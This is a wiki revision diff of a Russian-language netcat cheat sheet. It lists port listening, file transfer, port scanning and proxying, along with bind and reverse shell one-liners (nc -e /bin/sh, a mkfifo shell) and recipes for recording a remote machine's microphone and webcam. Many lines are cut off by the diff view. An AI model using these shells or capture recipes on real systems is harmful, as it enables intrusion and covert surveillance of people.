Различия
Показаны различия между двумя версиями страницы.
| Предыдущая версия справа и слева Предыдущая версия Следующая версия | Предыдущая версия | ||
| networks:nc [2024/04/10 21:47] – mirocow | networks:nc [2024/04/11 19:23] (текущий) – mirocow | ||
|---|---|---|---|
| Строка 1: | Строка 1: | ||
| - | {{tag> | + | {{tag> |
| {{tag> | {{tag> | ||
| Строка 5: | Строка 5: | ||
| ====== Netcat ====== | ====== Netcat ====== | ||
| - | Netcat - это сетевой инструмент. | + | Netcat - это сетевой инструмент, её основная задача – проверка портов. |
| <code bash> | <code bash> | ||
| Строка 35: | Строка 35: | ||
| Утилита netcat по сути не делает ничего, | Утилита netcat по сути не делает ничего, | ||
| + | |||
| + | ===== Прослушивание порта ===== | ||
| + | |||
| + | <code bash> | ||
| + | $ nc -nlv 8080 > / | ||
| + | $ echo -n "GET / HTTP/ | ||
| + | $ cat / | ||
| + | </ | ||
| + | |||
| + | ===== Получать сообщения ===== | ||
| + | |||
| + | <code bash> | ||
| + | $ nc -lp 8080 > / | ||
| + | $ nc 0.0.0.0 8080 | ||
| + | $ cat / | ||
| + | </ | ||
| ===== Передавать файлы ===== | ===== Передавать файлы ===== | ||
| + | |||
| (первую команду выполняем на принимающей машине, | (первую команду выполняем на принимающей машине, | ||
| + | <code bash> | ||
| $ nc -l 31334 > filename | $ nc -l 31334 > filename | ||
| $ nc 172.16.69.143 31334 < filename | $ nc 172.16.69.143 31334 < filename | ||
| + | </ | ||
| ===== Удаленно читать логи ===== | ===== Удаленно читать логи ===== | ||
| + | |||
| (первая - сервер, | (первая - сервер, | ||
| + | <code bash> | ||
| $ nc -f / | $ nc -f / | ||
| $ nc 172.16.69.143 31334 | $ nc 172.16.69.143 31334 | ||
| + | </ | ||
| ===== Использовать вместо telnet ===== | ===== Использовать вместо telnet ===== | ||
| + | |||
| (первая - telnet-сервер, | (первая - telnet-сервер, | ||
| + | <code bash> | ||
| $ nc -l -p 31334 -e /bin/sh | $ nc -l -p 31334 -e /bin/sh | ||
| $ nc 172.16.69.143 31334 | $ nc 172.16.69.143 31334 | ||
| - | | + | </ |
| ===== Сканировать на открытые порты ===== | ===== Сканировать на открытые порты ===== | ||
| - | | + | <code bash> |
| - | + | $ nc -z execbit.ru 1-1024 | |
| + | $ nc -vz 192.168.1.132 1-1000 2>&1 | grep succeeded --color | ||
| + | $ nc -vzu 192.168.1.132 1-1000 2>&1 | grep succeeded --color | ||
| + | </ | ||
| + | |||
| + | ===== Создавать удалённую оболочку ===== | ||
| + | |||
| + | Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>& | ||
| + | После этого останется запустить nc с выводом в наш именованный канал (nc 192.168.1.132 8080 >/ | ||
| + | |||
| + | <code bash> | ||
| + | $ nc -lvnp 8080 | ||
| + | $ rm / | ||
| + | </ | ||
| ===== Осуществлять фингерпринт сервисов на основе баннеров ===== | ===== Осуществлять фингерпринт сервисов на основе баннеров ===== | ||
| + | <code bash> | ||
| $ echo " | $ echo " | ||
| - | | + | </ |
| ===== Организовывать обратный шелл ===== | ===== Организовывать обратный шелл ===== | ||
| + | |||
| (первая - клиент, | (первая - клиент, | ||
| + | <code bash> | ||
| $ nc -e /bin/sh 172.16.69.143 31334 | $ nc -e /bin/sh 172.16.69.143 31334 | ||
| $ nc -l -p 31334 | $ nc -l -p 31334 | ||
| - | | + | </ |
| ===== Делать микрофонную запись с удаленной машины ===== | ===== Делать микрофонную запись с удаленной машины ===== | ||
| + | |||
| (сервер, | (сервер, | ||
| + | <code bash> | ||
| $ arecord -f dat -t raw | nc -l 31337 | $ arecord -f dat -t raw | nc -l 31337 | ||
| $ nc 172.16.69.143 31337 | oggenc - -r -o nc.ogg | $ nc 172.16.69.143 31337 | oggenc - -r -o nc.ogg | ||
| - | | + | </ |
| ===== Получать снимки с web-камеры удаленной машины ===== | ===== Получать снимки с web-камеры удаленной машины ===== | ||
| + | |||
| (сервер, | (сервер, | ||
| + | <code bash> | ||
| $ while [ 1 ]; do streamer -o / | $ while [ 1 ]; do streamer -o / | ||
| $ nc localhost 31337 > photo.jpeg | $ nc localhost 31337 > photo.jpeg | ||
| - | | + | </ |
| Однако, | Однако, | ||
| Особого внимания заслуживает netcat, распространяемый вместе с BSD-системами, | Особого внимания заслуживает netcat, распространяемый вместе с BSD-системами, | ||
| + | <code bash> | ||
| $ nc -e 'in ipsec esp/ | $ nc -e 'in ipsec esp/ | ||
| 172.16.69.143 31334 | 172.16.69.143 31334 | ||
| - | | + | </ |
| Кроме того, BSD Netcat способен подключаться к удаленной машине через прокси: | Кроме того, BSD Netcat способен подключаться к удаленной машине через прокси: | ||
| + | <code bash> | ||
| $ nc -x172.16.64.1: | $ nc -x172.16.64.1: | ||
| + | </ | ||
| В этом примере прокси находится по адресу 172.16.64.1: | В этом примере прокси находится по адресу 172.16.64.1: | ||
| Строка 95: | Строка 149: | ||
| Сам netcat легко использовать в качестве прокси или редиректора портов, | Сам netcat легко использовать в качестве прокси или редиректора портов, | ||
| - | # echo ' | + | <code bash> |
| - | | + | $ echo ' |
| + | | ||
| >> / | >> / | ||
| - | | + | |
| + | </ | ||
| Теперь весь трафик, | Теперь весь трафик, | ||
| Строка 104: | Строка 160: | ||
| Кстати, | Кстати, | ||
| - | $ echo / | + | cat / |
| - | | + | < |
| service redirect-2525-to-25 | service redirect-2525-to-25 | ||
| { | { | ||
| Строка 117: | Строка 173: | ||
| user = nobody | user = nobody | ||
| } | } | ||
| + | </ | ||
| + | |||
| + | ===== Сетевые утилиты ===== | ||
| + | |||
| + | |||
| + | {{topic> | ||